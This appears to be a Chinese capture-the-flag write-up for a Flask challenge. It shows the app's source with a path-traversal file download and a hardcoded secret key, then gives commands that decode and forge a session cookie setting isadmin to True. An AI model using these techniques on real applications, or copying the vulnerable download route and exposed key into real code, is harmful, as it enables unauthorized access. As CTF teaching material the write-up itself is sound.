一进来发现可以抽老婆,下面还有个下载按钮,有意思还可以吧,把老婆抱回家
然后点击下载,发现这个似乎是个任意文件下载,OK了这个时候可以看看debug里面有啥
在里面发现source文件在/app/app.py里面,
用之前发现的任意文件下载下载下来
然后查看源码
# Author :g4_simon from flask import * import os import random from flag import flag #初始化全局变量 app = Flask(__name__) app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!' @app.route('/', methods=['GET']) def index(): return render_template('index.html') @app.route('/getwifi', methods=['GET']) def getwifi(): session['isadmin']=False wifi=random.choice(os.listdir('static/img')) session['current_wifi']=wifi return render_template('getwifi.html',wifi=wifi) @app.route('/download', methods=['GET']) def source(): filename=request.args.get('file') if 'flag' in filename: return jsonify({"msg":"你想干什么?"}) else: return send_file('static/img/'+filename,as_attachment=True) @app.route('/secret_path_U_never_know',methods=['GET']) def getflag(): if session['isadmin']: return jsonify({"msg":flag}) else: return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"}) if __name__ == '__main__': app.run(host='0.0.0.0',port=80,debug=True)
看着两个地方可以知道这是一个flask的session认证题目,只需要生成一个正确的session就OK
session安全问题
flask框架的session是存储在客户端的,那么就需要解决session是否会被恶意纂改的问题,而flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改,在我上面写的例子就定义有密钥。
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
正常情况下这个密钥是不会给你看的。但是光有数据签名,安全性还是不够的,session没有做任何加密处理,是用户可见的,我们还是可以得到修改session里的内容,如果我们还得到了用于签名的密钥,那么攻击者就可以进行session伪造。那么接下来就通过我本地起的flask服务来伪造admin进行登录
flask脚本链接:https://github.com/noraj/flask-session-cookie-manager
注意::强烈建议在kali里面运行,Windows里面能运行就能运行不能运行就会有各种奇奇怪怪的问题
具体原理可以看下这个师傅的http://t.csdn.cn/LiXVb
#初始化全局变量 app = Flask(__name__) app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!' app.route('/secret_path_U_never_know',methods=['GET']) def getflag(): if session['isadmin']: return jsonify({"msg":flag}) else: return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})
解密:找到秘钥后,去解密,解密格式如下:
python3 flask_session_cookie_manager3.py decode -c 'eyJjdXJyZW50X3dpZmkiOiI5YmI1MWM5MDE2MGMwMjNlNTM5YmFmYzBjNmZmODhiMi5qcGciLCJpc2FkbWluIjpmYWxzZX0.Y3SRYg.TGWZpdsROvIU-Ayzfw49qVQj9s4' -s 'tanji_is_A_boy_Yooooooooooooooooooooo!'
然后就得到密文了
加密:得到密文后发现isadmin这里是false,所以吧false改为ture,原理这里再看源代码
if session['isadmin']:#如果是真isadmin,就可以拿到flag,如果假flag就输出下面的 return jsonify({"msg":flag}) else: return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})
加密格式:
python3 flask_session_cookie_manager3.py encode -s 'tanji_is_A_boy_Yooooooooooooooooooooo!' -t "{'current_wifi': '9bb51c90160c023e539bafc0c6ff88b2.jpg', 'isadmin': True}"
特别注意后面需要"双引号"单引号不能成功
生成密文:
最后把密文添加到cookie就可以成功获取flag了
补充说明:
这样的字符是Unicode 编码,这一串字符解码后就是“你怎么知道这个路径的?不过还好我有身份验证”
标签:__,return,ctfhub,菜鸟,app,flask,flag,session,复现 From: https://www.cnblogs.com/xxpanda/p/16897102.html